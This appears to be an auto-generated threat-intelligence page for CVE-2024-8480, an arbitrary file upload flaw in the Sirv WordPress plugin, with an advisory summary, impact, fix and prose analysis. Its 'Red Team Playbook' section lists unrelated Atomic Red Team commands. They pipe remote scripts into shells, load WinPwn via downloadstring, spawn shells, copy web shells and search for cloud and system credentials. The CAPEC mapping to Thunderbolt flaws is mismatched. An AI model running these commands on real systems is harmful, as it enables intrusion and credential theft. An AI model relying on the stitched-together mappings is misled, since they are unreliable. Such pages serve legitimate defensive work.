CVE-2024-8480
Overview
This vulnerability is an authorization bypass combined with improper input validation affecting the Sirv Image Optimizer, Resizer and CDN WordPress plugin. The root cause is a missing capability check in the 'sirv_save_prevented_sizes' function, which allows unauthorized users with Contributor-level privileges or higher to invoke the 'sirv_upload_file_by_chunks_callback' function. This callback lacks adequate file type validation, enabling arbitrary file uploads through chunked file upload mechanisms.
Vulnerability Description
The Image Optimizer, Resizer and CDN – Sirv plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'sirv_save_prevented_sizes' function in all versions up to, and including, 7.2.7. This makes it possible for authenticated attackers, with Contributor-level access and above, to exploit the 'sirv_upload_file_by_chunks_callback' function, which lacks proper file type validation, allowing attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with Contributor-level or higher access can upload arbitrary files to the server hosting the WordPress site, potentially leading to remote code execution. This requires authenticated access to the WordPress backend but no additional user interaction or elevated privileges beyond Contributor. Successful exploitation can compromise site integrity, enable data manipulation, and facilitate persistence or lateral movement within the hosting environment. The CVSS vector indicates network attack vector (AV:N), low attack complexity (AC:L), privileges required (PR:L), no user interaction (UI:N), and high impact on confidentiality, integrity, and availability (C:H/I:H/A:H).
Solution
Upgrade the Sirv Image Optimizer, Resizer and CDN WordPress plugin to a version later than 7.2.7 where the missing capability check and file type validation issues have been addressed. Refer to the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/1e3e628f-b5e7-40fd-9d34-4a3b23e1e0e7) for detailed patch information. The plugin repository and changelogs indicate fixes applied to the 'sirv_save_prevented_sizes' and 'sirv_upload_file_by_chunks_callback' functions to enforce proper authorization and input validation controls.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Sirv plugin for WordPress stems from a critical oversight in the implementation of capability checks within the 'sirv_save_prevented_sizes' function. This oversight allows authenticated users, specifically those with Contributor-level access or higher, to manipulate data without the necessary permissions. The absence of proper validation in the 'sirv_upload_file_by_chunks_callback' function further exacerbates the issue, as it permits the upload of arbitrary files to the server. This lack of file type validation opens a pathway for attackers to introduce malicious files, potentially leading to remote code execution, a severe threat that can compromise the integrity and confidentiality of the affected system.
Attack vectors exploiting this vulnerability are particularly concerning due to the low barrier to entry for potential attackers. An individual with Contributor-level access could leverage this flaw to upload harmful scripts or executables to the server. For instance, an attacker could craft a malicious PHP file disguised as an image, bypassing the upload restrictions. Once executed, this file could grant the attacker control over the server, allowing them to manipulate data, steal sensitive information, or even pivot to other systems within the network. The ease with which an attacker can exploit this vulnerability makes it a significant risk for any organization utilizing the Sirv plugin.
The real-world impact of this vulnerability can be profound, especially for businesses that rely on WordPress for their online presence. The potential for remote code execution means that attackers could gain unauthorized access to sensitive data, leading to data breaches that may result in severe financial and reputational damage. Organizations may face regulatory scrutiny, legal liabilities, and loss of customer trust if they fail to secure their systems adequately. Furthermore, the operational disruption caused by a successful exploit could lead to downtime, affecting service availability and customer satisfaction.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the Sirv plugin to the latest version is crucial, as updates often include security patches that address known vulnerabilities. Additionally, organizations should conduct routine security audits and vulnerability assessments to identify and remediate weaknesses in their systems proactively. Employing a web application firewall (WAF) can also help filter out malicious requests and provide an additional layer of security. Furthermore, restricting user permissions and ensuring that only trusted individuals have access to upload functionality can significantly reduce the risk of exploitation.
In conclusion, the vulnerability present in the Sirv plugin for WordPress poses a serious threat to organizations that utilize this tool. The combination of inadequate capability checks and poor file type validation creates a pathway for authenticated attackers to exploit the system, potentially leading to remote code execution. The implications of such an exploit can be devastating, making it imperative for organizations to adopt robust detection and mitigation strategies to safeguard their digital assets. By prioritizing security best practices and maintaining vigilance, businesses can protect themselves from the risks associated with this and similar vulnerabilities.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Sirv | Sirv | All |
cpe:2.3:a:sirv:sirv:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
48%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-8480 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/1e3e628f-b5e7-40fd-9d34-4a3b23e1e0e7?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/sirv/trunk/sirv.php?rev=3103410#L4647 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/sirv/tags/7.2.7/sirv.php#L6331 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3115018/ |